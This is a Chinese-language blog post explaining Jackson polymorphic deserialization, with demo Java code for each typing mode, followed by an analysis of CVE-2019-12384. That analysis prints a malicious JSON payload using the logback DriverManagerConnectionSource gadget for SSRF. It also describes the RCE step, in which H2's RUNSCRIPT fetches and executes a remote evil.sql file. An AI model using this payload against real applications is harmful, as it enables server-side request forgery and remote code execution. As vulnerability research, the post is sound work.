之前对Jackson反序列化了解不多,工作需要刚好分析 CVE-2019-12384 漏洞,故此记录一下关于Jackson反序列化漏洞的理解。
1、Jackson的多态类型绑定
官方介绍在:https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization,主要分两种:DefaultTyping、@JsonTypeInfo。
- DefaultTyping
主要有下面四种类型,其中默认是:OBJECT_AND_NON_CONCRETE(也是最常用类型)。
JAVA_LANG_OBJECT:仅影响Object.class类型的属性 OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口) NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有相同的数组类型(直接元素是非具体类型或Object.class) NON_FINAL:影响未声明为“final”的所有类型,以及非最终元素类型的数组类型。
a、JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。测试代码:
package jacksonxx; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class Test { public static void main(String[] args) throws Exception { People p = new People(); p.age = 10; p.name = "com.l1nk3r.jackson.l1nk3r"; p.object = new l1nk3r(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); String json = mapper.writeValueAsString(p); System.out.println(json); //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]} People p2 = mapper.readValue(json, People.class); System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@239963d8 } } class People { public int age; public String name; public Object object; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; }
此时,在我们进行序列化和反序列化的时候,序列化json信息中携带了相关的类的信息:"object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]
b、OBJECT_AND_NON_CONCRETE:默认方法,除了上面的特征,当类里有 Interface 、 AbstractClass 时,也对其进行序列化和反序列化。测试代码:
package jacksonxx; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class Test { public static void main(String[] args) throws Exception { People p = new People(); p.age = 10; p.name = "com.l1nk3r.jackson.l1nk3r"; p.object = new l1nk3r(); p.sex = new MySex(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = mapper.writeValueAsString(p); System.out.println(json); //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}]} People p2 = mapper.readValue(json, People.class); System.out.println(p2); //age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@57fffcd7 } } class People { public int age; public String name; public Object object; public Sex sex; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; } class MySex implements Sex { int sex; @Override public int getSex() { return sex; } @Override public void setSex(int sex) { this.sex = sex; } } interface Sex { public void setSex(int sex); public int getSex(); }
c、NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型(直接元素是非具体类型或Object.class)。例如下面的代码,我们的Object里存放l1nk3r的数组。
package jacksonxx;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Test {
public static void main(String[] args) throws Exception {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
l1nk3r[] l1nk3rs= new l1nk3r[2];
l1nk3rs[0]=new l1nk3r();
l1nk3rs[1]=new l1nk3r();
p.object = l1nk3rs;
p.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Ljacksonxx.l1nk3r;",[{"length":100},{"length":100}]],"sex":["jacksonxx.MySex",{"sex":0}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, [Ljacksonxx.l1nk3r;@31a5c39e
}
}
class People {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}
}
class l1nk3r {
public int length = 100;
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
d、NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。
package jacksonxx; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class Test { public static void main(String[] args) throws Exception { People p = new People(); p.age = 10; p.name = "l1nk3r"; p.object = new l1nk3r(); p.sex = new MySex(); p.l1nk3r=new l1nk3r(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String json = mapper.writeValueAsString(p); System.out.println(json); //["jacksonxx.People",{"age":10,"name":"l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}],"l1nk3r":["jacksonxx.l1nk3r",{"length":100}]}] People p2 = mapper.readValue(json, People.class); System.out.println(p2); //age=10, name=l1nk3r, jacksonxx.l1nk3r@57fffcd7 } } class People { public int age; public String name; public Object object; public Sex sex; public l1nk3r l1nk3r; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; } class MySex implements Sex { int sex; @Override public int getSex() { return sex; } @Override public void setSex(int sex) { this.sex = sex; } } interface Sex { public void setSex(int sex); public int getSex(); }
- @JsonTypeInfo
@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.NAME) @JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)
其中只有CLASS、MINICMAL_CLASS在输出结果中携带了相关类,便于我们反序列化漏洞的利用。测试代码如下:
package com.l1nk3r.jackson; import com.fasterxml.jackson.annotation.JsonTypeInfo; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class Jsontypeinfo { public static void main(String[] args) throws IOException { ObjectMapper mapper= new ObjectMapper(); User user = new User(); user.name= "l1nk3r"; user.age=100; user.obj=new Height(); String json = mapper.writeValueAsString(user); System.out.println(json); } } class User{ public String name; public int age; @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) public Object obj; public String toString(){ return "name:" + name + " age:" + age + " obj:" + obj; } } class Height{ public int h = 100; }
所以上面的内容表明,我们在可控输入序列化字符串的时候,使用 enableDefaultTyping()、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) 时,才能成功反序列化出我们想要的类。
2、CVE-2019-12384
回到我们的这个漏洞,利用该漏洞需要用到:logback-core和h2两个三方jar包,且能控制输入完整的恶意序列化字符串且使用了多态,整体来说利用场景比较有限。
我们构造的恶意序列化字符串如下:
String content = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8888/aaa\"}]";
其中 ch.qos.logback.core.db.DriverManagerConnectionSource 代表的是类名,后面 {} 里面的是类中url变量,值为 jdbc:h2:tcp://127.0.0.1:8888/aaa 。我们看看这个 ch.qos.logback.core.db.DriverManagerConnectionSourcel 类:
Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用到类ch.qos.logback.core.db.DriverManagerConnectionSource的getConnection()方法的时,实际是去调用DriverManager. getConnection()方法去链接远程的数据库,也就导致产生了SSRF漏洞 。
首先通过 mapper.readValue() 函数反序列化出要调用的 ch.qos.logback.core.db.DriverManagerConnectionSource 类对象,其中类中的远程加载的url为我们传入的ssrf地址,并返回该object对象:
然后进入 mapper.writeValueAsString() 方法,传入object对象,然后循环去解析ch.qos.logback.core.db.DriverManagerConnectionSource类中的方法:
当i为6时,跟进调用链,发现使用了DriverManager.getConnection()方法去链接远程的数据库,出现ssrf漏洞。
而rce的利用,是使用了jdbc:h2:mem:来操作内存表,使用RUNSCRIPT FROM 'http://localhost:8888/evil.sql'来加载远程SQL文件在内存中执行,而我们的 evil.sql实际是一个java代码的函数,通过CALL来调用,于是造成java代码在本地应用执行,出现rce。
漏洞修复补丁:https://github.com/FasterXML/jackson-databind/commit/c9ef4a10d6f6633cf470d6a469514b68fa2be234
在补丁中可以看到是直接把ch.qos.logback.core.db.DriverManagerConnectionSource 类加入了黑名单,我们的利用链也就无法利用成功了。但这种黑名单方式,局限性也比较大的,找到新的利用链即可再次利用,如:https://github.com/FasterXML/jackson-databind/compare/jackson-databind-2.9.9.1...jackson-databind-2.9.9.2(对应CVE-2019-14379、CVE-2019-14361)
参考:
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://forum.90sec.com/t/topic/259